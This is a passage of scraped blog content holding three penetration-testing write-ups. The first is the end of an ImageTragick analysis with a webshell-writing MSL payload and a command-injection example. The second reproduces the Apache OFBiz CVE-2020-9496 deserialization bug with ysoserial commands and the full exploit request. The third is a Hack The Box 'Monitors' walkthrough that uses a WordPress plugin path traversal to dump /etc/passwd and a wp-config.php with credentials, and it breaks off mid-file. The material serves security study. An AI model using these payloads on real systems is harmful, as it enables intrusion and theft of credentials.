Obviously, combined with CVE-2016-3716 this can be used to write a webshell, for example in this way described by phith0fum:\nSpecifically, the msl protocol reads an msl-format XML file and performs some operations based on its contents: file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 \u0026#39;msl:/tmp/msl.txt\u0026#39; popgraphic-context /tmp/msl.txt -=-=-=-=-=-=-=-=- \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;image\u0026gt; \u0026lt;read filename=\u0026#34;/tmp/image.gif\u0026#34; /\u0026gt; \u0026lt;write filename=\u0026#34;/var/www/shell.php\u0026#34; /\u0026gt; \u0026lt;/image\u0026gt; (4) PHP extension The PHP extension \u0026lsquo;ImageMagick\u0026rsquo; (Imagick) is also affected by this issue, and merely calling the constructor of the Imagick class is enough to trigger the vulnerability:\n\u0026lt;?php new Imagick(\u0026#39;vul.gif\u0026#39;); There is no return value in this case, so OOB techniques are used to get a response echo.\n0x02 Vulnerability Analysis According to this aritcle\u0026hellip;\nThe default configuration file is in config/delegates.xml.in in the source code, and few users ever modify it. Its specific content is as follows:\nhttps://github.com/ImageMagick/ImageMagick/blob/25d021ff1a60a67680dbb640ccc0b6b60f785192/magick/delegate.c#L98\n\u0026#34; \u0026lt;delegate decode=\\\u0026#34;https\\\u0026#34; command=\\\u0026#34;\u0026amp;quot;wget\u0026amp;quot; -q -O \u0026amp;quot;%o\u0026amp;quot; \u0026amp;quot;https:%M\u0026amp;quot;\\\u0026#34;/\u0026gt;\u0026#34; command defines the actual command that gets passed into system() for execution\n\u0026#34;wget\u0026#34; -q -O \u0026#34;%o\u0026#34; \u0026#34;https:%M\u0026#34; But since this is just simple string concatenation, the quotes can be closed to inject commands. For example, if the URL passed in is https://example.com\u0026quot;|ls \u0026quot;-la\nthen\n\u0026#34;wget\u0026#34; -q -O \u0026#34;%o\u0026#34; \u0026#34;https://example.com\u0026#34;|ls \u0026#34;-la\u0026#34; the following are executed separately \u0026#34;wget\u0026#34; -q -O \u0026#34;%o\u0026#34; \u0026#34;https://example.com\u0026#34; and ls \u0026#34;-la\u0026#34; 0x03 Remediation This vulnerability affects all ImageMagick versions before 6.9.3-9, including ImageMagick installed from the Ubuntu repositories. The official fix in version 6.9.3-9 was incomplete, so we cannot eliminate this vulnerability simply by updating the ImageMagick version.\nBefore processing an image, first check the image\u0026rsquo;s magic bytes, i.e. the image header. If the header is not the format you expect, do not invoke ImageMagick to process the image. If you are a PHP user, you can use the getimagesize function to check the image format If you use web applications such as WordPress, you can temporarily uninstall ImageMagick and use PHP\u0026rsquo;s built-in GD library to process images. If upgrading is not possible, the following configuration is recommended, See: https://legacy.imagemagick.org/discourse-server/viewtopic.php?f=4\u0026amp;t=29588, i.e. add \u0026lt;policy domain=\u0026#34;coder\u0026#34; rights=\u0026#34;none\u0026#34; pattern=\u0026#34;EPHEMERAL\u0026#34; /\u0026gt; \u0026lt;policy domain=\u0026#34;coder\u0026#34; rights=\u0026#34;none\u0026#34; pattern=\u0026#34;HTTPS\u0026#34; /\u0026gt; \u0026lt;policy domain=\u0026#34;coder\u0026#34; rights=\u0026#34;none\u0026#34; pattern =\u0026#34;MVG\u0026#34; /\u0026gt; \u0026lt;policy domain =\u0026#34;coder\u0026#34; rights =\u0026#34;none\u0026#34; pattern =\u0026#34;MSL\u0026#34; /\u0026gt; \u0026lt;policy domain =\u0026#34;coder\u0026#34; rights =\u0026#34;none\u0026#34; pattern =\u0026#34;TEXT\u0026#34; /\u0026gt; \u0026lt;policy domain=\u0026#34;coder\u0026#34; rights=\u0026#34;none\u0026#34; pattern=\u0026#34;SHOW\u0026#34; /\u0026gt; \u0026lt;policy domain=\u0026#34;coder\u0026#34; rights=\u0026#34;none\u0026#34; pattern=\u0026#34;WIN\u0026#34; /\u0026gt; \u0026lt;policy domain=\u0026#34;coder\u0026#34; rights=\u0026#34;none\u0026#34; pattern=\u0026#34;PLT\u0026#34; /\u0026gt; to your policy.xml file.\nBetter yet, consider using libraries such as libpng, libjpeg-turbo, or giflib directly. If you must use ImageMagick on untrusted input, consider sandboxing the code with a seccomp-bpf sandbox or an equivalent mechanism (such as a Docker container), which strictly limits access to all userspace artifacts and the kernel attack surface. Basic sandboxing techniques such as chroot() or UID separation may not be sufficient. 0x04 Summary \u0026amp;\u0026amp; Reflections (1) When should I test for this vulnerability? At every image upload point!\nBurpSuite\u0026rsquo;s upload-scanner has integrated detection for this vulnerability, but watch out for IDS.\n(2) How was this vulnerability discovered? Timeline (refer to https://www.openwall.com/lists/oss-security/2016/05/03/18)\n[2016-04-21] Arbitrary file read vulnerability [2016-04-28] Nikolay Ermishkin of the Mail.Ru security team discovered several vulnerabilities in ImageMagick. [2016-04-30] ImageMagick developers fixed the RCE in the source code and released a new version (6.9.3-9 released http://legacy.imagemagick.org/script/changelog.php ), but this fix appears to be incomplete. [2016-05-03] The imagetragick.com website was created and the vulnerability went public [\n](https://hackerone.com/reports/143966)\n(3) Could ImageMagick still have vulnerabilities? Yes!\nThis conclusion comes from the page below\nTechnical Analysis of ImageTragick (CVE-2016-3714)\nSee: https://www.bencode.net/posts/2019-09-27-imagetragick/#root-cause-analysis\nFor all of ImageMagick\u0026rsquo;s merits, its design does not account for malicious input, and it has a long and colorful history of little-known but equally severe security vulnerabilities. If you want just one data point, look at the work @cunningham did around 2014. @cunningham fuzzed ImageMagick with afl-fuzz and quickly found nearly a dozen exploitable security vulnerabilities.\n@hanno\u0026rsquo;s more recent fuzzing work found another family of heap-related bugs, using only off-the-shelf fuzzing tools.\nIt seems that unless the entire ImageMagick codebase undergoes a major redesign, the trickle of security vulnerabilities will not stop anytime soon. It was simply not designed with security in mind.\nIn addition, as early as December 24, 2014, Bastien had already fuzzed out a whole pile of bugs; see: https://www.openwall.com/lists/oss-security/2014/12/24/1. Seen this way, it is really necessary for web folks to learn some FUZZ techniques!\nRefs https://legacy.imagemagick.org/discourse-server/viewtopic.php?f=4\u0026amp;t=29588 https://www.anquanke.com/post/id/83872 https://imagetragick.com/ https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html https://github.com/ImageMagick/ImageMagick/blob/25d021ff1a60a67680dbb640ccc0b6b60f785192/magick/delegate.c#L98 https://www.bencode.net/posts/2019-09-27-imagetragick/ https://hackerone.com/reports/143966 https://www.openwall.com/lists/oss-security/2016/05/03/18 https://github.com/ImageTragick/PoCs about fuzz https://www.openwall.com/lists/oss-security/2014/12/24/1 https://blog.fuzzing-project.org/45-ImageMagick-heap-overflow-and-out-of-bounds-read.html ","permalink":"https://www.unc.la/en/posts/penetration/iuy41o/","summary":"\u003ch1 id=\"0x00-background\"\u003e0x00 Background\u003c/h1\u003e\n\u003cp\u003eImageMagick is a package commonly used by web services to process images. Multiple vulnerabilities exist when processing user-submitted images: CVE-2016-3714, CVE-2016-3715, CVE-2016-3716, and CVE-2016-3717. The most severe of these is CVE-2016-3714, which can lead to remote code execution (RCE).\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis vulnerability was discovered by Nikolay Ermishkin, a security researcher on the Mail.Ru security team. The ImageMagick development team was notified and pushed out a quick fix, but it turned out to be incomplete.\u003c/p\u003e","title":"【CVE-2016–3714】ImageMagick Command Execution Vulnerability"},{"content":"0x01 Background Apache OFBiz is a very well-known e-commerce platform and a very famous open-source project. It provides a framework based on the latest J2EE/XML specifications and technology standards for building large- and medium-sized enterprise-grade, cross-platform, cross-database, cross-application-server, multi-tier, distributed e-commerce WEB application systems. OFBiz\u0026rsquo;s most notable characteristic is that it provides a complete set of components and tools for developing Java-based web applications, including the entity engine, service engine, message engine, workflow engine, rules engine, and more. By default you can log in with the username admin and the password ofbiz.\nAround 2020-09-29, a deserialization vulnerability was found in the XMLRPC interface of versions prior to 17.12.04. An attacker can exploit this vulnerability to execute arbitrary commands on the target server.\nAn e-commerce platform that is rarely used in China — a basic deserialization vulnerability.\n(1) Affected versions Apache OFBiz versions \u0026lt; 17.12.04\n0x02 Vulnerability Reproduction (1) Accessing the environment Requesting /webtools/control/xmlrpc returns Failed to read XML-RPC request. Please check logs for more information, as shown in the figure\nNotes:\nYou must access /webtools (a single slash); accessing //webtools redirects to /webtools/control/main, and you cannot confirm whether the xmlrpc API is exposed. When reproducing on the vulhub environment, there is no need to set Content-Type to application/www-form-urlencoded; I used application/www-form-urlencoded and the vulnerability could still be triggered. Still — it is recommended to set it to xml Once the current environment is confirmed reachable, start generating the payload.\n(2) Generating the payload Use YSoSerial to encode the command to be executed\njava -jar ysoserial.jar CommonsBeanutils1 \u0026#34;touch /tmp/success\u0026#34; | base64 | tr -d \u0026#34;\\n\u0026#34; This generates the content shown in the figure below\n(When testing on the vulhub environment, I found it works even without using tr to strip the newlines — pure black magic\u0026hellip;)\n(3) EXP Construct the following request, replacing [base64-payload] with the base64 string just generated\nPOST /webtools/control/xmlrpc HTTP/1.1 Host: your-ip Content-Type: application/xml Content-Length: 4093 \u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;methodCall\u0026gt; \u0026lt;methodName\u0026gt;ProjectDiscovery\u0026lt;/methodName\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt; \u0026lt;value\u0026gt; \u0026lt;struct\u0026gt; \u0026lt;member\u0026gt; \u0026lt;name\u0026gt;test\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt; \u0026lt;serializable xmlns=\u0026#34;http://ws.apache.org/xmlrpc/namespaces/extensions\u0026#34;\u0026gt;[base64-payload]\u0026lt;/serializable\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/member\u0026gt; \u0026lt;/struct\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodCall\u0026gt; The image above is fromgithub-vulhub\nAfter sending it, command execution is achieved\n(4) Non-destructive PoC It is recommended to use URLDNS to non-destructively verify whether the deserialization vulnerability exists.\nFirst, generate the payload in YSO with the domain you want it to request, for example\njava -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS \u0026#34;http://ofbiz.xxxx.ceye.io\u0026#34; |base64 |tr -d \u0026#34;\\n\u0026#34; Then send the request along with the payload\nIf a request arrives on the dnslog platform, the vulnerability is confirmed!\nI also took a look at MSF\u0026rsquo;s detection method\ndef check # Send an empty serialized object res = send_request_xmlrpc(\u0026#39;\u0026#39;) unless res return CheckCode::Unknown(\u0026#39;Target did not respond to check.\u0026#39;) end if res.body.include?(\u0026#39;Failed to read result object: null\u0026#39;) return CheckCode::Vulnerable(\u0026#39;Target can deserialize arbitrary data.\u0026#39;) end CheckCode::Safe(\u0026#39;Target cannot deserialize arbitrary data.\u0026#39;) end It simply empties [base64-payload] and POSTs it over; if the response contains Failed to read result object: null, the vulnerability is proven. (There are a few small details: for example, \u0026lt;methodName\u0026gt; must be in the form of random letters + digits.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;methodCall\u0026gt; \u0026lt;methodName\u0026gt;#{rand_text_alphanumeric(8..42)}\u0026lt;/methodName\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt; \u0026lt;value\u0026gt; \u0026lt;struct\u0026gt; \u0026lt;member\u0026gt; \u0026lt;name\u0026gt;#{rand_text_alphanumeric(8..42)}\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt; \u0026lt;serializable xmlns=\u0026#34;http://ws.apache.org/xmlrpc/namespaces/extensions\u0026#34;\u0026gt;#{Rex::Text.encode_base64(data)}\u0026lt;/serializable\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/member\u0026gt; \u0026lt;/struct\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodCall\u0026gt; 0x03 Vulnerability Analysis Just refer directly to 360Cert\u0026rsquo;s article -\u0026gt; https://cert.360.cn/report/detail?id=ba5eeaf8536ba73611dd4abd198c4eb9\nFrom my reading I mainly took away the following points:\n(1) What exactly is the XMLRPC interface for? XML-RPC allows software running on different operating systems, in different environments, to make procedure calls over the Internet.\nIt is a remote procedure call that uses HTTP as the transport and XML as the encoding.\n——https://ws.apache.org/xmlrpc/index.html\nSimply put, it is an XML implementation of Remote Procedure Call (RPC).\nIf you want to understand this kind of interface further, you can go to the XML-RPC Debugger, which has a built-in page for constructing requests — quite convenient.\nIn fact, WordPress also ships an XML-RPC service, but individual bloggers basically never use it; instead it is often abused for brute-forcing accounts and passwords, so it is recommended to disable it.\nFrom this point of view, XML-RPC\u0026rsquo;s benefits are mostly at the programming level; individual users rarely use it.\n(2) The main deserialization flow When parsing serializable, the typeParser of XmlRpcRequestParser is still MapParser, but MapParser cannot handle the serializable tag; at this point a new Parser must be obtained, and when the serializable tag is parsed, getParser returns SerializableParser.\nSerializableParser extends ByteArrayParser and has no startElement method, so the parent class ByteArrayParser is called, which sets the OutputStream and decodes the input stream — you can see the base64 decoding happens right here\nNext, is handled in Serializable#endElement, where setResult assigns a value to result. This is effectively where the deserialized data is retrieved\nWhat follows is its wrapper class\nA classic bais-\u0026gt;ois-\u0026gt;readObject() three-stage deserialization.\n0x04 Fix The official fix simply added authentication in web.xml, see it directly here\nThe test cases also show that authentication was added. However, the username and password are actually passed in via GET — the security bar clearly isn\u0026rsquo;t very high.\n0x05 Summary xmlrpc itself supports deserializing serialized data; the problem is that ofbiz did not apply access control to the xmlrpc interface But judging from the fix, they only added a layer of verification — it really treats the symptoms rather than the root cause For targets that have been patched, it is recommended to go straight to brute-forcing; once the brute-force succeeds, you can deserialize Refs https://github.com/vulhub/vulhub/blob/master/ofbiz/CVE-2020-9496/README.zh-cn.md https://www.cnblogs.com/ph4nt0mer/p/13576739.html https://cert.360.cn/report/detail?id=ba5eeaf8536ba73611dd4abd198c4eb9 https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/ http://www.jackson-t.ca/runtime-exec-payloads.html http://ceye.io/records/dns[ ](https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/)\n","permalink":"https://www.unc.la/en/posts/penetration/exyfzi/","summary":"\u003ch1 id=\"0x01----background\"\u003e0x01    Background\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eApache OFBiz is a very well-known e-commerce platform and a very famous open-source project. It provides a framework based on the latest J2EE/XML specifications and technology standards for building large- and medium-sized enterprise-grade, cross-platform, cross-database, cross-application-server, multi-tier, distributed e-commerce WEB application systems. OFBiz\u0026rsquo;s most notable characteristic is that it provides a complete set of components and tools for developing Java-based web applications, including the entity engine, service engine, message engine, workflow engine, rules engine, and more. By default you can log in with the username \u003ccode\u003eadmin\u003c/code\u003e and the password \u003ccode\u003eofbiz\u003c/code\u003e.\u003c/p\u003e","title":"[CVE-2020-9496] Apache OfBiz Deserialization Command Execution Vulnerability"},{"content":"\nInformation Gathering Nmap\nNmap scan report for Monitors.HTB (10.10.10.238) Host is up (0.30s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA) | 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA) |_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: WordPress 5.5.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome to Monitor \u0026amp;#8211; Taking hardware monitoring seriously Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel WordPress version 5.5.1 — registration is not allowed\nScanned with nmap\u0026rsquo;s default scripts via --script=\u0026quot;http-wordpress*\u0026quot; — no useful results\nNmap scan report for monitors.htb (10.10.10.238) Host is up (0.37s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) | http-wordpress-brute: | Accounts: No valid accounts found |_ Statistics: Performed 2716 guesses in 599 seconds, average tps: 4.6 | http-wordpress-enum: | Search limited to top 100 themes/plugins | themes | twentyseventeen 2.4 |_ iconic-one 2.1.7 | http-wordpress-users: | Username found: admin |_Search stopped at ID #25. Increase the upper limit if necessary with \u0026#39;http-wordpress-users.limit\u0026#39; NSE: Script Post-scanning. Initiating NSE at 21:54 Completed NSE at 21:54, 0.00s elapsed Initiating NSE at 21:54 Completed NSE at 21:54, 0.00s elapsed Read data files from: /usr/local/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 612.24 seconds Next, ran directory scans with dirsearch and dirbuster\nTarget: http://monitors.htb/ Output File: D:\\cmder\\opt\\dirsearch\\reports\\monitors.htb\\_21-05-18_23-31-25.txt [23:31:25] Starting: [23:31:36] 403 - 277B - /.htaccess.bak1 [23:31:36] 403 - 277B - /.htaccess.save [23:31:36] 403 - 277B - /.htaccess.sample [23:31:36] 403 - 277B - /.htaccess.orig [23:31:36] 403 - 277B - /.htaccessOLD [23:31:36] 403 - 277B - /.htaccessBAK [23:31:36] 403 - 277B - /.htaccessOLD2 [23:31:36] 403 - 277B - /.httr-oauth [23:31:40] 403 - 277B - /.php 30.60% - Last request to: admin/fckeditor/editor/filemanager/connectors/aspx/connector.aspx63.49% - Last request to: includes/fckeditor/editor/filemanager/connectors/aspx/upload.aspx[23:32:41] 301 - 0B - /index.php -\u0026gt; http://monitors.htb/ [23:32:44] 200 - 19KB - /license.txt 80.50% - Last request to: plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload.swf[23:32:59] 200 - 7KB - /readme.html [23:33:01] 403 - 277B - /server-status [23:33:01] 403 - 277B - /server-status/ [23:33:13] 301 - 315B - /wp-admin -\u0026gt; http://monitors.htb/wp-admin/ [23:33:13] 302 - 0B - /wp-admin/ -\u0026gt; http://monitors.htb/wp-login.php?redirect_to=http%3A%2F%2Fmonitors.htb%2Fwp-admin%2F\u0026amp;reauth=1 [23:33:13] 200 - 1KB - /wp-admin/install.php [23:33:13] 409 - 3KB - /wp-admin/setup-config.php [23:33:13] 301 - 317B - /wp-content -\u0026gt; http://monitors.htb/wp-content/ [23:33:13] 200 - 0B - /wp-content/ [23:33:14] 200 - 966B - /wp-content/uploads/ [23:33:14] 301 - 318B - /wp-includes -\u0026gt; http://monitors.htb/wp-includes/ [23:33:14] 500 - 0B - /wp-includes/rss-functions.php [23:33:14] 200 - 7KB - /wp-login.php [23:33:14] 302 - 0B - /wp-signup.php -\u0026gt; http://monitors.htb/wp-login.php?action=register [23:33:15] 200 - 47KB - /wp-includes/ [23:33:15] 405 - 42B - /xmlrpc.php (1) Noticed that xmlrpc.php could be brute-forced, so used wpscan against the top 10k passwords — failed\n(2) Meanwhile, dirbuster delivered\nKeyword spritz wordpress\nFound the following resources\nhttps://wpscan.com/vulnerability/cdd8b32a-b424-4548-a801-bbacbaad23f8\nhttps://www.exploit-db.com/exploits/44544\nhttps://downloads.wordpress.org/plugin/wp-with-spritz.zip\nhttp://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd http://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=php://filter/read=convert.base64-encode/resource=/etc/apache2/apache2.conf root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin sshd:x:110:65534::/run/sshd:/usr/sbin/nologin marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash Debian-snmp:x:112:115::/var/lib/snmp:/bin/false mysql:x:109:114:MySQL Server,,,:/nonexistent:/bin/falseCg Kept digging through files, trying to obtain credentials and more information\n(1) The configuration file wp-config.php\nSince reading a PHP file directly causes formatting problems, used base64 to exfiltrate the result out-of-band\nhttp://monitors.htb//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=php://filter/read=convert.base64-encode/resource=../../../wp-config.php\n\u0026lt;?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don\u0026#39;t have to use the web site, you can * copy this file to \u0026#34;wp-config.php\u0026#34; and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( \u0026#39;DB_NAME\u0026#39;, \u0026#39;wordpress\u0026#39; ); /** MySQL database username */ define( \u0026#39;DB_USER\u0026#39;, \u0026#39;wpadmin\u0026#39; ); /** MySQL database password */ define( \u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;BestAdministrator@2020!\u0026#39; ); /** MySQL hostname */ define( \u0026#39;DB_HOST\u0026#39;, \u0026#39;localhost\u0026#39; ); /** Database Charset to use in creating database tables. */ define( \u0026#39;DB_CHARSET\u0026#39;, \u0026#39;utf8mb4\u0026#39; ); /** The Database Collate type. Don\u0026#39;t change this if in doubt. */ define( \u0026#39;DB_COLLATE\u0026#39;, \u0026#39;\u0026#39; ); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define( \u0026#39;AUTH_KEY\u0026#39;, \u0026#39;KkY%W@\u0026gt;T}4CKTw5{.n_j3bywoB0k^|OKX0{}5|UqZ2!VH!^uWKJ.O oROc,h pp:\u0026#39; ); define( \u0026#39;SECURE_AUTH_KEY\u0026#39;, \u0026#39;*MHA-~\u0026lt;-,*^$raDR\u0026amp;uxP)k(~`k/{PRT(6JliOO9XnYYbFU?Xmb#9USEjmgeHYYpm\u0026#39; ); define( \u0026#39;LOGGED_IN_KEY\u0026#39;, \u0026#39;)F6L,A23Tbr9yhrhbgjDHJPJe?sCsDzDow-$E?zYCZ3*f40LSCIb] E%zrW@bs3/\u0026#39; ); define( \u0026#39;NONCE_KEY\u0026#39;, \u0026#39;g?vl(p${jG`JvDxVw-]#oUyd+uvFRO1tAUZQG_sGg\u0026amp;Q7O-*tF[KIe$weE^$bB3%C\u0026#39; ); define( \u0026#39;AUTH_SALT\u0026#39;, \u0026#39;8\u0026gt;PIil3 7re_:3\u0026amp;@^8Zh|p^I8rwT}WpVr5|t^ih05A:]xjTA,UVXa8ny:b--/[Jk\u0026#39; ); define( \u0026#39;SECURE_AUTH_SALT\u0026#39;, \u0026#39;dN c^]m:4O|GyOK50hQ1tumg4\u0026lt;JYlD2-,r,oq7GDjq4M Ri:x]Bod5L.S\u0026amp;.hEGfv\u0026#39; ); define( \u0026#39;LOGGED_IN_SALT\u0026#39;, \u0026#39;tCWVbTcE*_T_}X3#t+:)\u0026gt;N+D%?vVAIw#!*\u0026amp;OK78M[@ YT0q):G~A:hTv`bO\u0026lt;,|68\u0026#39; ); define( \u0026#39;NONCE_SALT\u0026#39;, \u0026#39;sa\u0026gt;i39)9\u0026lt;vVyhE3auBVzl%=p23NJbl\u0026amp;)*.{`\u0026lt;*\u0026gt;;R2=QHqj_a.%({D4yI-sy]D8,\u0026#39; ); /**#@-*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = \u0026#39;wp_\u0026#39;; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://wordpress.org/support/article/debugging-in-wordpress/ */ define( \u0026#39;WP_DEBUG\u0026#39;, false ); /* That\u0026#39;s all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( \u0026#39;ABSPATH\u0026#39; ) ) { define( \u0026#39;ABSPATH\u0026#39;, __DIR__ . \u0026#39;/\u0026#39; ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . \u0026#39;wp-settings.php\u0026#39;; At this point we have collected\nPassword 1 Usernames admin marcus wpadmin Password BestAdministrator@2020! Next, read wp-trackback.php as well\n\u0026lt;?php /** * Handle Trackbacks and Pingbacks Sent to WordPress * * @since 0.71 * * @package WordPress * @subpackage Trackbacks */ if ( empty( $wp ) ) { require_once __DIR__ . \u0026#39;/wp-load.php\u0026#39;; wp( array( \u0026#39;tb\u0026#39; =\u0026gt; \u0026#39;1\u0026#39; ) ); } /** * Response to a trackback. * * Responds with an error or success XML message. * * @since 0.71 * * @param int|bool $error Whether there was an error. * Default \u0026#39;0\u0026#39;. Accepts \u0026#39;0\u0026#39; or \u0026#39;1\u0026#39;, true or false. * @param string $error_message Error message if an error occurred. */ function trackback_response( $error = 0, $error_message = \u0026#39;\u0026#39; ) { header( \u0026#39;Content-Type: text/xml; charset=\u0026#39; . get_option( \u0026#39;blog_charset\u0026#39; ) ); if ( $error ) { echo \u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026#39; . \u0026#34;\u0026gt;\\n\u0026#34;; echo \u0026#34;\u0026lt;response\u0026gt;\\n\u0026#34;; echo \u0026#34;\u0026lt;error\u0026gt;1\u0026lt;/error\u0026gt;\\n\u0026#34;; echo \u0026#34;\u0026lt;message\u0026gt;$error_message\u0026lt;/message\u0026gt;\\n\u0026#34;; echo \u0026#39;\u0026lt;/response\u0026gt;\u0026#39;; die(); } else { echo \u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026#39; . \u0026#34;\u0026gt;\\n\u0026#34;; echo \u0026#34;\u0026lt;response\u0026gt;\\n\u0026#34;; echo \u0026#34;\u0026lt;error\u0026gt;0\u0026lt;/error\u0026gt;\\n\u0026#34;; echo \u0026#39;\u0026lt;/response\u0026gt;\u0026#39;; } } // Trackback is done by a POST. $request_array = \u0026#39;HTTP_POST_VARS\u0026#39;; if ( ! isset( $_GET[\u0026#39;tb_id\u0026#39;] ) || ! $_GET[\u0026#39;tb_id\u0026#39;] ) { $tb_id = explode( \u0026#39;/\u0026#39;, $_SERVER[\u0026#39;REQUEST_URI\u0026#39;] ); $tb_id = intval( $tb_id[ count( $tb_id ) - 1 ] ); } $tb_url = isset( $_POST[\u0026#39;url\u0026#39;] ) ? $_POST[\u0026#39;url\u0026#39;] : \u0026#39;\u0026#39;; $charset = isset( $_POST[\u0026#39;charset\u0026#39;] ) ? $_POST[\u0026#39;charset\u0026#39;] : \u0026#39;\u0026#39;; // These three are stripslashed here so they can be properly escaped after mb_convert_encoding(). $title = isset( $_POST[\u0026#39;title\u0026#39;] ) ? wp_unslash( $_POST[\u0026#39;title\u0026#39;] ) : \u0026#39;\u0026#39;; $excerpt = isset( $_POST[\u0026#39;excerpt\u0026#39;] ) ? wp_unslash( $_POST[\u0026#39;excerpt\u0026#39;] ) : \u0026#39;\u0026#39;; $blog_name = isset( $_POST[\u0026#39;blog_name\u0026#39;] ) ? wp_unslash( $_POST[\u0026#39;blog_name\u0026#39;] ) : \u0026#39;\u0026#39;; if ( $charset ) { $charset = str_replace( array( \u0026#39;,\u0026#39;, \u0026#39; \u0026#39; ), \u0026#39;\u0026#39;, strtoupper( trim( $charset ) ) ); } else { $charset = \u0026#39;ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS\u0026#39;; } // No valid uses for UTF-7. if ( false !== strpos( $charset, \u0026#39;UTF-7\u0026#39; ) ) { die; } // For international trackbacks. if ( function_exists( \u0026#39;mb_convert_encoding\u0026#39; ) ) { $title = mb_convert_encoding( $title, get_option( \u0026#39;blog_charset\u0026#39; ), $charset ); $excerpt = mb_convert_encoding( $excerpt, get_option( \u0026#39;blog_charset\u0026#39; ), $charset ); $blog_name = mb_convert_encoding( $blog_name, get_option( 